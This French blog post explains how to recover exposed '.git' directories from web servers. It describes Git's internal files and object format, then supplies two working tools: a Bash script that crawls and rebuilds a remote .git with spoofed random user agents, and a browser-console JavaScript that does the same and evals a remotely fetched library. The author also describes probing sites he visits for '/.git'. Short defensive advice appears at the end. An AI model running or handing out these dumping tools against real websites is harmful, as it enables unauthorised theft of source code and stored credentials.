{Git} Le côté Obscure de la force

 

Salut à tous et à toutes,

 

Malgré mes grandes périodes d'absence, je pense toujours à vous.
Cependant la plupart des sujets de sécurité sur lesquels je suis, ne sont pas autorisés à être publiés ... et sauter par dessus la barrière ne m'a pas toujours apporté que du bonheur.
Il m'est parfois compliqué de vous trouver des sujets intéressants avec des données concrètes et publiables, mais j'ai pris le temps de vous écrire ce petit article sur l'outil Git.

 

Petite présentation de Git

Git est un outil qui permet de versionner le code source d'un logiciel.
Un développeur qui souhaiterait expérimenter des choses sur le logiciel qu'il fabrique, peut par exemple résoudre des bugs ou bien créer de nouvelles fonctionnalités sans crainte de détruire son logiciel, car il lui sera possible de revenir en arrière à tout moment.
C'est également utile pour remonter à l'origine d'un bug, ou pour constater l'apparition soudaine ... d'un bout de code suspect.

Pourquoi parler de Git

Généralement l'utilisation de Git dans le cadre de projets "privés" (contenant des informations sensibles) se fait dans des environnements sécurisés, voire inaccessible pour des personnes tierces.
Cependant, il m'arrive très régulièrement de naviguer sur des sites internet et ... par  curiosité d'ajouter un petit "/.git" en fin d'url ...

Lorsque des développeurs travaillent avec l'outil GIT, un petit répertoire ".git" est automatiquement créé, celui-ci contiendra l'ensemble des données du projet.
L'historique des changements, les commentaires des développeurs sur ces changements, ...

Et bien souvent, lorsque je fais ceci, il m'arrive de voir ce joli message, qui me dit que ... "je n'ai pas le droit !" (Accès Interdit)
Mais pas le droit de quoi au juste ?

Et bien 9 fois sur 10, il s'agit simplement d'une interdiction d'afficher le répertoire. Ce qui ne signifie pas
qu'il n'est pas possible d’accéder aux fichiers !

 

Rétro-Ingénierie du répertoire .git

Les fichiers de base

À la racine du répertoire ".git" on retrouve ces fichiers :

  • config
  • HEAD
  • FETCH_HEAD
  • ORIG_HEAD
  • index
  • description
  • COMMIT_EDITMSG
  • packed-refs

Je ne vous présenterais ici que les fichiers vraiment intéressants dans un contexte analytique de sécurité.

  1. config : Ce fichier contient la configuration du projet git, notamment l'emplacement du référentiel. Parfois on y retrouve des identifiants de comptes. Un hacker qui trouverait des identifiants pourrait modifier le projet.
  2. HEAD , FETCH_HEAD, ORIG_HEAD, packed-refs : Contiennent des références vers ce que l'on appelle des "branches", une "branche" est une copie de votre projet à un instant T sur laquelle vous apportez des modifications, ces fichiers sont le début d'un grand jeu de piste.
  3. index : Ce fichier est hyper utile pour avoir une vision bien précise de l'arborescence du projet (l'emplacement des différents fichiers), si vous parvenez à recréer le dossier .git sur votre ordinateur, et que vous avez installé un client GIT sur votre ordinateur, vous pourrez obtenir cette arborescence en vous positionnant dans le même répertoire que le .git, et en exécutant la commande : git ls-files

 

Les Objets GIT

Si vous analysez le contenu des fichiers HEAD, FETCH_HEAD, ORIG_HEAD et packed-refs, vous aurez 2 types de données des noms / chemins de branches et / ou des références (Sha1 vers des objets).

Ex :

d11555d55de9c09413a05973c88a1620a2844243 refs/remotes/origin/develop
d11555d55de9c09413a05973c88a1620a2844243 refs/remotes/origin/master
d11555d55de9c09413a05973c88a1620a2844243 refs/remotes/origin/trunk

Ci-dessus nous avons des références vers des "objets"

ref: refs/heads/master

Ci-dessus nous avons une référence vers un fichier (.git/refs/heads/master) qui celui-ci contiendra une autre référence vers un objet.

Accéder à un objet GIT

Lorsque vous tombez sur ces références d'objets, les fameux "hash sha1", vous devrez faire un petit découpage :

  1. J'ai mon hash : d11555d55de9c09413a05973c88a1620a2844243
  2. Je sépare les 2 premiers caractères du reste : d1/1555d55de9c09413a05973c88a1620a2844243
  3. L'objet se trouvera donc dans le répertoire :
    .git/objects/d1/1555d55de9c09413a05973c88a1620a2844243

 

Voir le contenu d'un objet Git

Lorsque vous mettez la main sur un "objet", celui-ci est compressé avec ZLIB, vous ne pourrez donc pas le lire simplement en l'ouvrant, il vous faudra soit des notions de code, soit de disposer d'un petit ordinateur avec linux et la commande suivante :

printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - .git/objects/d1/1555d55de9c09413a05973c88a1620a2844243 | gzip -dc

Il s'agit d'une petite astuce qui permettra de lire des fichiers de données compressés avec ZLIB, en utilisant GZIP. Le petit printf simule un entête de fichier GZIP.

 

Les types d'objets :

Si vous êtes parvenu jusqu'ici c'est déjà pas mal ;)
Désormais vous savez collecter les différentes branches d'un projet GIT, mais aussi trouver des objets !
Maintenant, nous allons analyser un peu les différents objets que l'on peut trouver.

Les "commits" :

tree a7e79e291515494c50dd75cdb66ac87223319496
parent 5164ee5d67dfc6979886254c958770e6b7413ec2
author Dave Hill <davehill@toto.com> 1563349377 +0200
committer Dave Hill <davehill@toto.com> 1563349377 +0200

correction d'un bug de la mort

Il s'agit d'un commentaire sur des modifications que vous allez enregistrer.

Les tree :

Ce sont des arborescences (fichiers / dossiers)

100644 blob 62200328fddc2de0805db758fb758bcb4d65d8e2 index.php
040000 tree 2f07c9fda02ea5a142bbe09898d538eb818395e5 languages
040000 tree 810fe82a4abeaabb41eec11e747676480dc62286 plugins
040000 tree ea959556c6ac5a2c776dafd98ed3235ac5082b64 themes
040000 tree b81c1278245e85e23f838f39d118f47f2652fb5b uploads

Attention :

Dans ce type d'objet, les sauts de ligne sont des nullbytes (0x00), et la référence (Sha1) ne sera pas visible directement ... vous aurez quelques choses dans ce goût là :

��H5ߡ%�o��b�100644 index.php�=UDr\��5���{K�2!�100644 wp-activate.php�}͹�9s�X����i�"40000

En l’occurrence, les références sont les caractères spéciaux du genre "��H5ߡ%�o��b�" que vous voyez ci-dessus. Dans ce contexte, il vous faudra assurément des compétences de développement.

Pour trouver la référence il faut comprendre comment elle a été générée :

  1. Un sha1 a été généré : 64fd9766ad136a73d29706c8e1d3a4b7eae37f2e
  2. Celui-ci a été décomposé par lot de 2 caractères :
    64,fd,97,66,ad,13,6a,73,d2,97,06,c8,e1,d3,a4,b7,ea,e3,7f,2e
  3. Si vous avez des notions d'hexa, alors vous comprendrez aisément ce qui se passe ensuite.
    GIT transforme chacun de ses lots en leurs valeurs décimale. Transformant notre HASH de 40 caractères en une chaine de 20 bytes : "��H5ߡ%�o��b�"
  4. Pour parvenir à retrouver le sha1, il vous faudra faire le chemin inverse ;)

 

Les "blobs" :

Ce sont  les fichiers du projet (images, pdf, css, html, javascript, etc ...)

 

Comme vous le constaterez, à l'intérieur de la majorité des objets il y a de nouvelles références, qui pointent à leurs tours vers de nouveaux fichiers objets git .... il s'agit désormais pour vous de dérouler la pelote de laine.

Mes outils d'explorations

 

Terminal Linux

Si vous disposez d'un client GIT sur votre poste, j'ai réalisé un petit script BASH qui fera le job de télécharger le .git distant et de le reconstruire (dans la mesure du possible)

#!/bin/bash
# (c) Dyrk.org 2021 - 2022
# Dave-Hill

# Url vers le .git
URL="https://<website>/.git/"
# Chemin local de construction du futur .git.
DEST=".git"
CURRENT_PATH=`pwd`
USER_AGENT="Mozilla/59.$RANDOM  (Windows 10.$RANDOM ; Win64; x64; rv:$RANDOM .0) Gecko/20100101 Firefox/$RANDOM 8.$RANDOM "

mkdir -p $DEST

function init_git_crawl () {
    # Default Folders
    for FOLDER in info branches hooks logs objects refs ;
    do
        echo '--------> '$FOLDER
        mkdir -p $DEST/$FOLDER
    done

    # Default Files
    for FILE in ORIG_HEAD index config HEAD FETCH_HEAD COMMIT_EDITMSG description index info packed-refs;
    do
        echo '--------> '$FILE
        wget -q -U "$USER_AGENT"  "$URL/$FILE" -O "$DEST/$FILE"
    done
}

function parse_objects () {
    if [ -z $1 ]; then
        return;
    fi
    cd $DEST
    git cat-file -p $1 | grep -E -w '(tree|parent|blob)' | while read line; do
        cd $CURRENT_PATH
        local OBJECT_REF=`echo $line | cut -d' ' -f2`
        if [ ${#OBJECT_REF} -lt 15 ]; then
            local OBJECT_REF=`echo $line | cut -d' ' -f3`
        fi
        echo $line
        echo "==========================>  $OBJECT_REF"
        get_objects $OBJECT_REF
    done;

}

function get_objects () {
    if [ -z $1 ]; then
        return;
    fi
    local REF="$1"
    REF_PATH="objects/${REF:0:2}/${REF:2:100}"
    mkdir -p $DEST/$REF_PATH &>/dev/null
    rm -fr $DEST/$REF_PATH
    wget -q -U "$USER_AGENT"  "$URL/$REF_PATH" -O "$DEST/$REF_PATH"
    parse_objects $REF    
}

function extract_branches () {
    for BRANCHES in HEAD packed-refs; do
        cat $DEST/$BRANCHES | while read line; 
            do
               local CURRENT_BRANCH=`echo $line | cut -d' ' -f2`
                echo 'branche --------> '$CURRENT_BANCH
                mkdir -p $DEST/$CURRENT_BRANCH &>/dev/null
                rm -fr $DEST/$CURRENT_BRANCH
                wget -U "$USER_AGENT"  -q "$URL/$CURRENT_BRANCH" -O "$DEST/$CURRENT_BRANCH"
                local REF=`cat $DEST/$CURRENT_BRANCH`
                get_objects $REF
            done
    done
}


function reconstruct_from_log () {
    cd $DEST
    BRANCH="tzqt";
    while [ 1 = 1 ]; do
    if [ -z $BRANCH ]; then
        break;
    fi
    BRANCH=`git log 2>&1  | grep "error: Could not read " | cut -d' ' -f5`
    echo "extract objects from logs --------------->" $BRANCH
    cd $CURRENT_PATH
    get_objects $BRANCH 
    echo $BRANCH
    done
}

init_git_crawl
extract_branches
reconstruct_from_log

Pour ce qui est de rechercher des données dans les fichiers j'ai également écrit cette ligne de commande, à n'utiliser qu'une fois que vous disposez d'un .git avec des données.
Il faudra toutefois vous positionner dans le repertoire : .git/objects

find . -type f | while read line; do git cat-file -p `echo $line | sed -e 's|/||g' | sed -e 's/\.//g'` 2>/dev/null; done | grep  blob | while read line; do git cat-file -p  `echo $line | cut -d' ' -f3` 2>/dev/null; done   

L'avantage de cet outils, c'est que vous pourrez également profiter de l'ensemble des commandes git pour votre analyse.

  • git log
  • git diff
  • git branch
  • ...

Navigateur Web - (testé sur Google Chrome) :

 

Ici vous n'aurez pas besoin d'autre chose que d'un navigateur, tout est scripté pour que vous n'ayez rien à faire.

Le script suivant est un script Javascript, qu'il vous faudra jouer dans la console de votre navigateur (Touche F12 de votre clavier, onglet console , copier -> coller)

/*
*
*	** Security Tool **
*	Crawl Web Git Folder
*
*	(c) Dyrk.org 2021 - 2022
*	Dave-Hill [ @ ] Dyrk [ . ] org
*
*
*
*/
window.git = {
    gitUrl:null,
    defaultFiles : ['ORIG_HEAD','index', 'config', 'HEAD', 'FETCH_HEAD', 
                    'COMMIT_EDITMSG', 'description', 'index', 'info', 'packed-refs'],
    files:[],
    wget : (url, type, next)=>{
        let xhr = new XMLHttpRequest();
        if (type)
            xhr.responseType = type;
        xhr.open('GET', url);
        xhr.addEventListener('load', (res)=>{
            if (xhr.status === 200) {
                next(res.target.response);
            }
        });
        xhr.send();
    },
    extractTreeObject:(rows)=> {
        let tree =  rows.map(filename => filename + ' ' + filename.substr(0,20).split('')
                            .map(e=> (e.charCodeAt(0) < 16 ? '0' +(e.charCodeAt(0).toString(16)): e.charCodeAt(0).toString(16))).join('')).join("\n");
        return tree;
    },
    extractObjectList:(name)=> {
        let listObject = window.git.files[name];    
        if (!listObject || !listObject.match(/[a-f0-9]{40,41}/g)) return -1;
        listObject.match(/[a-f0-9]{40,41}/g).map(ref => {
                    let filePath = ['objects',ref.substr(0,2), ref.substr(2)].join('/');
                    if (window.git.files[filePath]) return;
                    console.log('Object ------->', filePath);
                    window.git.wget([window.git.gitUrl,filePath].join('/'), 'arraybuffer',
                            window.git.parseFile.bind(null, filePath));
        });
    },
    parseFile : (name, content)=>{
        let data        = pako.inflate(content),
            strData     = String.fromCharCode.apply(null, new Uint16Array(data));
            let potentialTree = strData.split(String.fromCharCode(0));
            if (potentialTree.length > 2) {
                strData = window.git.extractTreeObject(potentialTree);
            }
           window.git.files[name] = strData;
           window.git.useFile(name);
    },
    useFile : (name) => {
        /* Extract Branch */
        if (name.match(/^refs.*/)) {
            return window.git.extractObjectList(name);
        }
        switch(name) {
            /* Extract branch name */
            case 'FETCH_HEAD':
            case 'HEAD':
                ref = window.git.files[name].match(/[a-f0-9]{40,41}/g);
                if (ref){
                    window.git.extractObjectList(name);
                } else {
                    let refPath = window.git.files[name].split(':')[1].trim();
                    console.log(refPath);
                    window.git.wget(window.git.gitUrl + '/' + refPath, null,
                                window.git.saveFile.bind(null, refPath));
                }
            break;
            default:
                console.log('extraction .... ',name);
                 window.git.extractObjectList(name);
            break;
        };
    },
    saveFile: (name, content) => {
       window.git.files[name] = content;
       window.git.useFile(name);
    },
    downloadDefaultFiles: () => {
        window.git.defaultFiles.map( file => {
            window.git.wget(window.git.gitUrl+'/'+file, null,
                window.git.saveFile.bind(null, file));
        });
    },
    init : (gitUrl)=> {
        window.git.gitUrl = gitUrl;
        window.git.initPacko();
    },
    initPacko : ()=>{
        window.git.wget('https://rawgit.com/nodeca/pako/master/dist/pako.js', null,
                window.git.evalPacko);
    },
    gitExtractor : () => {        
        window.git.downloadDefaultFiles();
    },
    evalPacko : (content)=> {
        console.log('Loading ... Packo (Zlib)');
        eval(content);
        setTimeout(window.git.gitExtractor, 2000);
    }
}
window.git.init('https://<website>/.git');

Pensez à vous positionner sur le site en question pour éviter des erreurs de type cross-domain.
Pensez également à modifier la ligne en bas du script :

window.git.init('https://<website>/.git');

Pour y renseigner le site en question ;)

Au bout de quelques secondes / minutes, toujours dans votre console du navigateur, vous pourrez naviguer dans les données collectées en saisissant :

window.git.files

Conclusion

J'espère que cet article vous aura apporté une connaissance plus aiguisée sur la manière de comment fonctionne votre client git, et qu'il aura répondu à un grand nombre de vos questions intimes ;)

Git est vraiment un bel outil, pour développer vos projets, toutefois, et je n'ai pas mis d'exemple dans cet article, il n'est pas une bonne pratique que de le laisser sur vos projets web en production.
Car des personnes mal intentionnées peuvent exploiter cet accès pour exfiltrer des données sensibles.
De plus je vous recommande vivement de vous assurer que vous n'avez pas vos identifiants en dur dans le fichier .git/config

Une autre bonne pratique dans vos projets GIT exploitant des données de connexion (base de données, smtp, ...) est de s'appuyer sur des variables d'environnements, ainsi même avec les fichiers un hacker ne parviendra pas à connaitre votre mot de passe.

Je vous remercie de votre lecture et vous dit à bientôt ;)

 

Partagez ce contenu

3 comments

  • Bravo, merci pour cet article très clair. On est à la limite du writeup dun CTF :-)

    • Merci beaucoup Benzo ;)
      Un sujet pas facile à aborder de manière ludique, mais je suis ravi d’être parvenu à l’amener à son terme.
      J’en ai une tripoté dans mes brouillons qui ne sont pas encore assez mûrs pour être publiés, tant la vulgarisation est compliqué avec les technologies du quotidien qui évoluent constamment.
      Bonne journée à toi ;)

  • Coucou , merci pour article , de qualité , comme d’habitude , bon courage à vous.

Laisser une réponse

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *